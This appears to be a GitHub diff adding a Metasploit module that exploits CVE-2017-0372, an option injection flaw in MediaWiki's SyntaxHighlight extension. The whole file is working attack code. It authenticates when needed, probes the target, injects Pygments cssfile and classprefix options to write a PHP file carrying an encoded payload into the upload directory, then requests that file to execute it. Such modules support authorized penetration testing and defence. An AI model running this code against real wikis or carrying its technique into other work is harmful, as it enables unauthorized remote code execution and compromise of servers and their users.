1
+ ##
2
+ # This module requires Metasploit: http://metasploit.com/download
3
+ # Current source: https://github.com/rapid7/metasploit-framework
4
+ ##
5
+
6
+ class MetasploitModule < Msf ::Exploit ::Remote
7
+ Rank = GoodRanking
8
+ include Msf ::Exploit ::Remote ::HttpClient
9
+
10
+ def initialize ( info = { } )
11
+ super ( update_info ( info ,
12
+ 'Name' => 'MediaWiki SyntaxHighlight extension option injection vulnerability' ,
13
+ 'Description' => %q{
14
+ This module exploits an option injection vulnerability in the SyntaxHighlight
15
+ extension of MediaWiki. It tries to create & execute a PHP file in the document root.
16
+ The USERNAME & PASSWORD options are only needed if the Wiki is configured as private.
17
+ } ,
18
+ 'Author' => 'Yorick Koster' ,
19
+ 'License' => MSF_LICENSE ,
20
+ 'Platform' => 'php' ,
21
+ 'Payload' => { 'BadChars' => "\x01 \x02 \x03 \x04 \x05 \x06 \x07 \x08 \x09 \x0a \x0b \x0c \x0d \x0e \x0f \x10 \x11 \x12 \x13 \x14 \x15 \x16 \x17 \x18 \x19 \x1a \x1b \x1c \x1d \x1e \x1f ,'\" " } ,
22
+ 'References' =>
23
+ [
24
+ [ 'CVE' , '2017-0372' ] ,
25
+ [ 'URL' , 'https://lists.wikimedia.org/pipermail/mediawiki-announce/2017-April/000207.html' ] ,
26
+ [ 'URL' , 'https://phabricator.wikimedia.org/T158689' ] ,
27
+ [ 'URL' , 'https://securify.nl/advisory/SFY20170201/syntaxhighlight_mediawiki_extension_allows_injection_of_arbitrary_pygments_options.html' ]
28
+ ] ,
29
+ 'Arch' => ARCH_PHP ,
30
+ 'Targets' =>
31
+ [
32
+ [ 'Automatic Targeting' , { 'auto' => true } ] ,
33
+ ] ,
34
+ 'DefaultTarget' => 0 ,
35
+ 'DisclosureDate' => 'Mar 01 2017' ) )
36
+
37
+ register_options (
38
+ [
39
+ OptString . new ( 'TARGETURI' , [ true , "MediaWiki base path (eg, /w, /wiki, /mediawiki)" , '/wiki' ] ) ,
40
+ OptString . new ( 'UPLOADPATH' , [ true , "Relative local upload path" , 'images' ] ) ,
41
+ OptString . new ( 'USERNAME' , [ false , "Username to authenticate with" , '' ] ) ,
42
+ OptString . new ( 'PASSWORD' , [ false , "Password to authenticate with" , '' ] ) ,
43
+ OptBool . new ( 'CLEANUP' , [ false , "Delete created PHP file?" , true ] )
44
+ ] )
45
+ end
46
+
47
+ def check
48
+ res = send_request_cgi ( {
49
+ 'method' => 'POST' ,
50
+ 'uri' => normalize_uri ( target_uri . path , 'api.php' ) ,
51
+ 'cookie' => @cookie ,
52
+ 'vars_post' => {
53
+ 'action' => 'parse' ,
54
+ 'format' => 'json' ,
55
+ 'contentmodel' => 'wikitext' ,
56
+ 'text' => '<syntaxhighlight lang="java" start="0,full=1"></syntaxhighlight>'
57
+ }
58
+ } )
59
+
60
+ if ( res && res . headers . key? ( 'MediaWiki-API-Error' ) )
61
+ if ( res . headers [ 'MediaWiki-API-Error' ] == 'internal_api_error_MWException' )
62
+ return Exploit ::CheckCode ::Appears
63
+ elsif ( res . headers [ 'MediaWiki-API-Error' ] == 'readapidenied' )
64
+ print_error ( "Login is required" )
65
+ end
66
+ return Exploit ::CheckCode ::Unknown
67
+ end
68
+
69
+ Exploit ::CheckCode ::Safe
70
+ end
71
+
72
+ # use deprecated interface
73
+ def login
74
+ print_status ( "Trying to login...." )
75
+ # get login token
76
+ res = send_request_cgi ( {
77
+ 'method' => 'POST' ,
78
+ 'uri' => normalize_uri ( target_uri . path , 'api.php' ) ,
79
+ 'vars_post' => {
80
+ 'action' => 'login' ,
81
+ 'format' => 'json' ,
82
+ 'lgname' => datastore [ 'USERNAME' ]
83
+ }
84
+ } )
85
+ unless res
86
+ fail_with ( Failure ::Unknown , 'Connection timed out' )
87
+ end
88
+ json = res . get_json_document
89
+ if json . empty? || !json [ 'login' ] || !json [ 'login' ] [ 'token' ]
90
+ fail_with ( Failure ::Unknown , 'Server returned an invalid response' )
91
+ end
92
+ logintoken = json [ 'login' ] [ 'token' ]
93
+ @cookie = res . get_cookies
94
+
95
+ # login
96
+ res = send_request_cgi ( {
97
+ 'method' => 'POST' ,
98
+ 'uri' => normalize_uri ( target_uri . path , 'api.php' ) ,
99
+ 'cookie' => @cookie ,
100
+ 'vars_post' => {
101
+ 'action' => 'login' ,
102
+ 'format' => 'json' ,
103
+ 'lgname' => datastore [ 'USERNAME' ] ,
104
+ 'lgpassword' => datastore [ 'PASSWORD' ] ,
105
+ 'lgtoken' => logintoken
106
+ }
107
+ } )
108
+ unless res
109
+ fail_with ( Failure ::Unknown , 'Connection timed out' )
110
+ end
111
+ json = res . get_json_document
112
+ if json . empty? || !json [ 'login' ] || !json [ 'login' ] [ 'result' ]
113
+ fail_with ( Failure ::Unknown , 'Server returned an invalid response' )
114
+ end
115
+ if json [ 'login' ] [ 'result' ] == 'Success'
116
+ @cookie = res . get_cookies
117
+ else
118
+ fail_with ( Failure ::Unknown , 'Failed to login' )
119
+ end
120
+ end
121
+
122
+ def exploit
123
+ @cookie = ''
124
+ if datastore [ 'USERNAME' ] && datastore [ 'USERNAME' ] . length > 0
125
+ login
126
+ end
127
+
128
+ check_code = check
129
+ unless check_code == Exploit ::CheckCode ::Detected || check_code == Exploit ::CheckCode ::Appears
130
+ fail_with ( Failure ::NoTarget , "#{ peer } " )
131
+ end
132
+
133
+ phpfile = rand_text_alpha_lower ( 25 ) + '.php'
134
+ cssfile = datastore [ 'UPLOADPATH' ] + '/' + phpfile
135
+ cleanup = "unlink(\" #{ phpfile } \" );"
136
+ if not datastore [ 'CLEANUP' ]
137
+ cleanup = ""
138
+ end
139
+ print_status ( "Local PHP file: #{ cssfile } " )
140
+
141
+ res = send_request_cgi ( {
142
+ 'method' => 'POST' ,
143
+ 'uri' => normalize_uri ( target_uri . path , 'api.php' ) ,
144
+ 'cookie' => @cookie ,
145
+ 'vars_post' => {
146
+ 'action' => 'parse' ,
147
+ 'format' => 'json' ,
148
+ 'contentmodel' => 'wikitext' ,
149
+ 'text' => "<syntaxhighlight lang='java' start='0,full=1,cssfile=#{ cssfile } ,classprefix=<?php #{ cleanup } #{ payload . encoded } exit;?>'></syntaxhighlight>"
150
+ }
151
+ } )
152
+ if res
153
+ print_status ( "Trying to run #{ normalize_uri ( target_uri . path , cssfile ) } " )
154
+ send_request_cgi ( { 'uri' => normalize_uri ( target_uri . path , cssfile ) } )
155
+ end
156
+ end
157
+ end
0 commit comments